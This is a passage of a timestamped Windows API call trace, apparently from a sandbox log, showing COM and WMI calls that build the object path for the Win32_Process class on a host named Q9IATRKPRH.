wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0088.644] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0088.644] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0088.644] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0088.645] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0088.645] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0088.645] IUnknown:Release (This=0x111f638) returned 0x1 [0088.646] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0214c0) returned 0x0 [0088.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0214c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0088.647] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0214c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea02f0) returned 0x0 [0088.647] WbemDefPath:IUnknown:Release (This=0x1c0214c0) returned 0x0 [0088.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea02f0) returned 0x0 [0088.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0088.647] WbemDefPath:IUnknown:AddRef (This=0x1bea02f0) returned 0x3 [0088.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0088.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0088.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c021300) returned 0x0 [0088.647] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.647] WbemDefPath:IUnknown:Release (This=0x1c021300) returned 0x3 [0088.647] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0088.647] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0088.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0088.648] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x2 [0088.648] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x1 [0088.648] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0088.648] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0088.648] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea02f0) returned 0x0 [0088.648] WbemDefPath:IUnknown:AddRef (This=0x1bea02f0) returned 0x3 [0088.648] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x2 [0088.648] WbemDefPath:IWbemPath:SetText (This=0x1bea02f0, uMode=0x4, pszPath="") returned 0x0 [0088.648] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0088.648] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0088.648] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0088.648] IUnknown:Release (This=0x111f638) returned 0x1 [0088.650] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0214c0) returned 0x0 [0088.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0214c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0088.650] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0214c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0fb0) returned 0x0 [0088.650] WbemDefPath:IUnknown:Release (This=0x1c0214c0) returned 0x0 [0088.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0fb0) returned 0x0 [0088.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0088.650] WbemDefPath:IUnknown:AddRef (This=0x1bea0fb0) returned 0x3 [0088.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0088.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0088.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c021340) returned 0x0 [0088.651] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.651] WbemDefPath:IUnknown:Release (This=0x1c021340) returned 0x3 [0088.651] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0088.651] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0088.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0088.651] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x2 [0088.651] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x1 [0088.651] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0088.651] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0088.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0fb0) returned 0x0 [0088.651] WbemDefPath:IUnknown:AddRef (This=0x1bea0fb0) returned 0x3 [0088.651] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x2 [0088.651] WbemDefPath:IWbemPath:SetText (This=0x1bea0fb0, uMode=0x4, pszPath="") returned 0x0 [0088.651] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0088.651] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0088.651] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea0fb0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0088.651] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0fb0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0088.651] WbemDefPath:IWbemPath:SetServer (This=0x1bea0fb0, Name="Q9IATRKPRH") returned 0x0 [0088.651] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0088.651] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0088.651] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0088.651] IUnknown:Release (This=0x111f638) returned 0x1 [0088.653] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0212a0) returned 0x0 [0088.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0212a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0088.653] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0212a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0e30) returned 0x0 [0088.653] WbemDefPath:IUnknown:Release (This=0x1c0212a0) returned 0x0 [0088.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0e30) returned 0x0 [0088.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0088.654] WbemDefPath:IUnknown:AddRef (This=0x1bea0e30) returned 0x3 [0088.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0088.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0088.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c023240) returned 0x0 [0088.654] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c023240, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.654] WbemDefPath:IUnknown:Release (This=0x1c023240) returned 0x3 [0088.654] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0088.654] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0088.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0088.654] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x2 [0088.654] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x1 [0088.654] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0088.654] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0088.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0e30) returned 0x0 [0088.654] WbemDefPath:IUnknown:AddRef (This=0x1bea0e30) returned 0x3 [0088.654] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x2 [0088.654] WbemDefPath:IWbemPath:SetText (This=0x1bea0e30, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0088.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0088.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0e30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0088.654] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0088.655] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea0fb0) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0e30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0088.655] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0fb0, uIndex=0x0, pszName="ROOT") returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0088.655] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0fb0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea0fb0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0088.655] WbemDefPath:IWbemPath:SetClassName (This=0x1bea0fb0, Name="Win32_Process") returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0fb0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0fb0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0088.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0088.656] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0088.656] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0088.656] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0088.656] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0088.656] IUnknown:Release (This=0x111f638) returned 0x1 [0088.657] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c002220) returned 0x0 [0088.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c002220, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, 